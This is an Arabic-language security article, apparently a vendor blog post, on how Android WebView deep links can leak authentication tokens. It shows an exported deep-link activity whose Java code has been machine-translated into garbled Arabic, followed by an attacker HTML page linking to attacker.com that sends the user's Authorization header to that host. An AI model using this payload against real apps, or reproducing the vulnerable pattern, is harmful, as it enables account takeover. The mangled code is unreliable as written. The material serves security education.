🚀 لقد رفعت CloudSek جولة B1 من السلسلة B1 بقيمة 19 مليون دولار - تعزيز مستقبل الأمن السيبراني التنبؤي
اقرأ المزيد
WebView هي طريقة بسيطة ولكنها قوية لتقديم محتوى قائم على الويب في Android. يتم استخدامه كمثيل متصفح ويب مخصص لتطبيق يمكنه تسليم صفحات الويب للمستخدمين. تم إصدار WebView لأول مرة كجزء من أندرويد 4.4. منذ Android 5.0، تم تضمينه كتطبيق للنظام.
ثغرات WebView التي تسمح للجهات الفاعلة في مجال التهديد بما يلي:
سنستخدم ملف AndroidManifest.xml التالي لفهم كيف يمكن للجهات الفاعلة في مجال التهديد استغلال WebView
<activity android:name=» .DeeplinkActivity» ><intent-filter>
<action android:name=» android.intent.action.VIEW» />
<category android:name=» android.intent.category.DEFAULT» />
<data android:scheme=» myapp» android:host=» deeplink» />
</intent-filter>
</activity>
لنفترض أن هذا الملف يمكنه معالجة روابط WebView العميقة:
يقوم نشاط DeepLinkActivity للطبقة العامة بتوسيع النشاط {فراغ محمي عند الإنشاء (حالة الحالة المحفوظة في الحزمة) {
Super.on Create (حالة الحالة المحفوظة)؛
التعامل مع الرابط العميق (getintent ())؛
}
مقبض الفراغ الخاص DeepLink (نية النية) {
رابط أوري العميق = Intent.getData ()؛
إذا كان («/webview» .يساوي (ديبلنك.getPath ())) {
رابط السلسلة = ديبلينك.getQuery المعلمة («عنوان url»)؛
التعامل مع رابط ويب فيو العميق (عنوان url)؛
}
}
مقبض باطل خاص WebViewDeepLink (رابط السلسلة) {
عرض ويب فيو =...؛
إعداد عرض الويب (عرض الويب)؛
عنوان URL الخاص بـ WebView.load (عنوان URL، GetAuthheaders ())؛
}
خريطة خاصة<String, String> GetAuthheaders () {
<String, String>رؤوس الخرائط = HashMap الجديدة<> ()؛
headers.put («التفويض»، احصل على رمز المستخدم ())؛
رؤوس الإرجاع؛
}
}
في هذه الحالة، يمكن للمهاجم تنفيذ هجوم عن بُعد للحصول على رمز المصادقة الخاص بالمستخدم عن طريق إنشاء صفحة تحتوي على الكود التالي:
<html><body style=» text-align: center;» >
<h1><a href=» myapp: //ديبلنك/ويبفيو؟ عنوان url =https://attacker.com/«>انقر فوقي!</a></h1>
</body></html>
عندما تنقر الضحية على زر «انقر فوقي»، سيفتح التطبيق الضعيف https://attacker[.]com، في WebView، جنبًا إلى جنب مع عنوان التفويض. يمكن للمهاجم استخدام رموز المصادقة المسروقة للوصول الكامل إلى حساب الضحية.